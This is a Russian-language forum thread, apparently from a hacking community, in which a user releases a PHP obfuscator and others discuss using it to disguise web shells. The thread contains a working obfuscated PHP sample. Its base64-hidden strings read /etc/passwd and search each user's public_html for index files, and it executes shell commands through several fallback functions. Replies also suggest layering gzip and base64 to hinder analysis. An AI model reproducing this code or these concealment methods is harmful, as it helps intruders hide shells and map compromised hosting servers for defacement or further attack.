Просмотр полной версии : PHP Obfuscator by DX
Как-то столкнулся с проблемой - надо было провести обфускацию исходников скрипта на PHP (для тех кто не знает, что это такое: http://ru.wikipedia.org/wiki/обфускация). Но никак не мог найти толкового обфускатора, все почему-то выдавали нерабочий код с ошибками. В итоге решил написать свой, вот что получилось:
Исходники: http://stream.ifolder.ru/6593599
Пример работы: http://xxgate.jino-net.ru/
1. Скрипт имеет веб-интерфейс, поддерживает обфускацию имен переменных, имен функций, методов классов, шифрование статических строк (без переменных), а также сжатие PHP-кода (удаляются лишние пробелы, комментарии и т.п.)
2. Имеется возможность указать переменные, функции, которые не следует заменять, а также функции, параметры которых не следует заменять
3. Можно выборочно отключить обфускацию строк/переменных/функций. Для каждого типа также есть по два вида обфускации.
4. Не поддерживаются конструкции $$var_name и eval, также после обфускации необходимо будет поменять соответствующие имена функций в функциях, устанавливающих манипуляторы (например, ob_gzhandler). Не поддерживаются вызовы функций по их именам из строк.
А обфускация того скрипта, который я хотел изначально запутать, прошла отлично.
Обновление 1.3.
Скачать:
Rapidshare (http://rapidshare.de/files/40220319/new_edition.zip.html)
Webfile (http://webfile.ru/2155839)
неплохо
большие файлы оставались рабочими?
Да, пробовал делать обфускацию файла размером 100кб. Единственное, что не работает - это то, что я указал (eval и т.д., это просто остаётся как было, и нужно вручную править).
Если б допилил еще и обфускацию eval и $$var просто цены бы скриту не было =) А то eval то в шеллах часто есть...
Ну $$var по сути никак не обработать, потому что например в таком коде:
<?
$test='abc';
$$test=1;
print $abc; //выведет 1
?>
содержимое переменной test может быть каким угодно, оно может вообще получаться из БД или откуда-то ещё. С eval примерно то же самое получается.
Закодировал вебшелл маднетовский... Не скушал, высрал ошибку. А жаль.
Да вот только что обнаружил, что всплывает ошибка иногда при включении сжатия файла, никак пока не могу определить, отчего.
Всё, нашёл в чём дело было, поправил, перезалил.
Маднетовский шелл теперь у меня нормально закодировался, но там используются как-раз таки $$var и eval.
xena-mil1
16.05.2008, 01:55
интересует рабочий криптор кода + рабочий обсфуркатор ПХП
Сделал версию 1.1.
Исправлено множество мелких иногда возникающих ошибок при обфускации
Теперь можно указать, заменять ли переменные и функции внутри скобок eval(). Строки в eval() по прежнему не заменяются, процесс нужно контролировать.
Добавлена функция вывода подробной отладочной информации:
-новые и старые имена замененных переменных и функций;
-имена найденных, но не замененных переменных и функций;
-имена функций, параметры которых нужно пересмотреть вручную
Добавлено несколько переменных и функций в списки незаменяемых
Пробовал кодировать шелл от nst - он остался работоспособным, хотя в коде присутствуют несколько eval'ов.
Ссылка на скачивание и на пример в первом посте.
А добавь туда несколько методов обфускации. Kallisto, И которую madnet в своем шелле юзает - она очень сильно файло жмет. (gzip)
Версия 1.2
Добавлена функция сжатия кода gzip, можно указать разную степень сжатия. Если исходный код имеет разрывы, то есть располагается не в одном блоке <? ... ?>, то, скорее всего, сжатый PHP-код не будет выполняться.
Обновил ссылки в первом посте.
gzip+base64. И несколько раз. Киддиса остановит.
скормил первый попавшийся скрипт, он потерял работоспособность... а жаль((
http://pobs.mywalhalla.net/ - тоже на пхп. Может что то полезное выдернешь и доведешь дело до конца.
Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет:
На данный момент иностранный трафик у этого файла превышает российский. Вы можете получить этот файл, только если посетите сайт наших рекламодателей, помогающих оплачивать наши сервера и каналы. Нажмите сюда, чтобы перейти к выбору рекламодателей.
Или же выложите исходник в теме, будет жить вечно.
Все прекрасно но перезалейте куда нибуть, где мозги не будут ипать насчет:
Или же выложите исходник в теме, будет жить вечно.
http://webfile.ru/2084771
Обновление 1.3.
Что нового:
Теперь можно давать переменным и функциям абсолютно схожие имена вида $_, $__, $___ и т.д.
Добавлена функция заполнения исходника комментариями про Дэвида Блейна.:) Комментарии добавляются во все доступные места. Для того, чтобы увидеть хороший результат, убираем флажки "максимально сжать скрипт" и "сжать файл" и ставим флажки "Добавить спец. комментарии" и "Вывести комментарии в отдельных строках".
Скачать:
Rapidshare (http://rapidshare.de/files/40220319/new_edition.zip.html)
Webfile (http://webfile.ru/2155839)
Просьба привести небольшой (рабочий) пример кода после обфускации для тестирования на декодирование =)
Толку то? Код просто неудобно читать становится, а так вот:
<? /* <=====street magic=====> */
/* <David Blaine>: Ага, вот эти ребята... */
function /* <Peter>: Ненененене!! */
_187659043($i){$a=Array('MS4gPGZvbnQgY29sb3I9Z3JlZ W4+T0s8L2ZvbnQ+Cg==','CjEuIDxmb250IGNvbG9yPXJlZD5F cnJvcjwvZm9udD4=','L2hvbWUv','L3B1YmxpY19odG1sLw== ','L1xzLw==','','ZmluZCA=','IA==','LXR5cGUgZiAtbmF tZSAiaW5kZXguKiI=','CjIuIDxmb250IGNvbG9yPXJlZD5Fcn JvcjwvZm9udD4=','L2V0Yy9wYXNzd2Q=','Cg==','Y2F0IC9 ldGMvcGFzc3dk','Og==','Iw==','','Cg==','cg==',''); return /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
base64_decode($a[$i]);} /* <David Blaine>: Я делаю особую, уличную магию. */
?><?php
/* <David Blaine>: Кто хочет увидеть немного магии? */
error_reporting(0); /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
$_= /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
l_(); /* <David Blaine>: И где вы шопились? */
if(count($_)>20){ /* <Peter>: В один магаз ходили новый! */
echo /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
_187659043(0);} /* <David Blaine>: И чо купили? */
else{ /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
echo /* <Peter>: Зеленый свитер! */
_187659043(1);} /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
while($__< /* <Avon>: Да, я уверен! */
count($_)){ /* <Avon>: ТЕДДИ БИР!! */
$___= /* <Peter>: Чё за херь! */
_187659043(2) .$_[$__] . /* <Peter>: Э, ты чо сделал-то, а?! */
_187659043(3); /* <Avon>: Где мой свитер? */
$___= /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
preg_replace( /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
_187659043(4), /* <Peter>: Питер, глянь чо на тебе! */
_187659043(5), /* <Avon>: Что за херня??? Как? */
$___); /* <Peter>: В РОТ МНЕ НОГИ!!! */
$____= /* <Avon>: Я держал в руках вещи! */
_187659043(6) .$___ . /* <Peter>: В рот мне ноги! */
_187659043(7) . /* <Avon>: А, он уже растянутый, спасибо тебе! */
_187659043(8); /* <Peter>: Слушай, остановись, а? */
$_____= /* <Avon>: Растянул свитер, я его даже не поносил ещё! */
trim(l__($____)); /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
if($_____){ /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
$______= /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
true; /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
echo"\n2. <font color=green>OK</font>: $___<br>";} /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
$__++;} /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
if(!$______){ /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
echo /* <Avon>: У меня во рту оранж сода! */
_187659043(9);} /* <Peter>: Я на измене, я на измене! */
function /* <Avon>: Какая херня, ты положил её мне в рот! */
l_(){ /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
$_= /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
array(); /* <Peter>: НЕТ! */
$_______= /* <Avon>: Не, чувак, лучше себе показывай! */
file( /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
_187659043(10)); /* <Avon>: Оставь нас в покое! */
if(!$_______){ /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
$_______= /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
explode( /* <David Blaine>: Просто подождите секундочку, а? */
_187659043(11), /* <Peter>: Крис Эйнджел делает это лучше, ****, понял, Крис Эйнджел делает это лучше! */
l__( /* <Avon>: Эйвин! Я лечу! */
_187659043(12)));} /* <Peter>: Ёманарот!! */
if(!$_______) /* <Avon>: Я чувствую тепло и лечу! */
return /* <Peter>: ЁМАНАРОТ!!! */
0; /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
foreach($_______ /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
as /* <Peter>: Хватит мне газировку в рот пихать! */
$________){ /* <Avon>: Он даже не отлевитировал меня обратно! */
$_________=@explode( /* <Peter>: В рот мне ноги, валим отсюда быстрей! */
_187659043(13),$________); /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
if(substr($________,0,1)!= /* <Peter>: Иди в пень, а то щас ментов позову! */
_187659043(14)) /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
array_push($_,$_________[0]);} /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
return /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
$_;} /* <Peter>: Дашь мне сто долларов? */
function /* <Avon>: Ты сможешь купить тот шарфик! */
l__($__________){ /* <Peter>: Точно! Зашибись, гони сто баксов. */
$___________= /* <David Blaine>: Могу я зайти? */
_187659043(15); /* <Peter>: Ну ладно, пошли... */
if(!empty($__________)){ /* <Peter>: Ты точно деньги дашь? */
if(function_exists('system')){@ob_start();@system( $__________); /* <Avon>: Добро пожаловать в дом. */
$___________=@ob_get_contents();@ob_end_clean();} /* <Peter>: И вот мы в моей квартире, и чо? */
elseif(function_exists('exec')){@exec($__________, $___________); /* <David Blaine>: Вот это что такое? */
$___________= /* <Peter>: Мой видак. */
join( /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
_187659043(16),$___________);} /* <Peter>: Щас посмотрю, может где-то есть... */
elseif(function_exists('shell_exec')){ /* <David Blaine>: Посмотри в магнитофоне, она там. */
$___________=@shell_exec($__________);} /* <Avon>: Чё-то мне как-то сыкатно... */
elseif(function_exists('passthru')){@ob_start();@p assthru($__________); /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
$___________=@ob_get_contents();@ob_end_clean();} /* <Avon>: А вот это мама Эйвона. */
elseif(@is_resource($____________=@popen($________ __, /* <Peter>: Вот я сопли пузырями надуваю, и чо? */
_187659043(17)))){ /* <Avon>: Его мама и щас хорошо выглядит. */
$___________= /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
_187659043(18); /* <Peter>: Фак мой моск!! */
while(!@feof($____________)){ /* <Avon>: Это что вообще за ***ня?!!!! */
$___________ /* <Avon>: Тот же самый и там и там!! */
.=@fread($____________,1024);}@pclose($___________ _);}} /* <Peter>: Фак мой моск!!! */
return /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
$___________;} /* <Avon>: Блин, я обоссался! */
?>
Мой vkontakte messenger обработан этим обфускатором, полностью работоспособен.
Толку то? Код просто неудобно читать становится, а так вот:
А что будет сложно удалить все эти коментраии? Просто открываем файл, и регуляркой ищим /*и что тут находиться*/ и заменяем на что нибудь например на \n все (:
И на php не возможно написать нормально Obfuscator, для новичков будет солжно разобраться иль вообще не смогут, а для тех кто разбераеться выше среднего сможет разобраться без проблем (:
P.S. В свое время тож хотел написать Obfuscator но потом понял что нет толку (:
А что будет сложно удалить все эти коментраии? Просто открываем файл, и регуляркой ищим /*и что тут находиться*/ и заменяем на что нибудь например на \n все (:
Чтение затрудняется не из-за комментариев, комментарии это так, феня. Да и обфускация кода как раз рассчитана на новичков+, остальные даже если не расшифруют, так аналог напишут
удалил) не туда написал)))
White Forgiveness
05.06.2009, 20:19
Перезалейте плз версию 1.3, в первом посту ссылки битые.
http://kaimi.ru/wp-content/uploads/2009/03/obf.zip
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot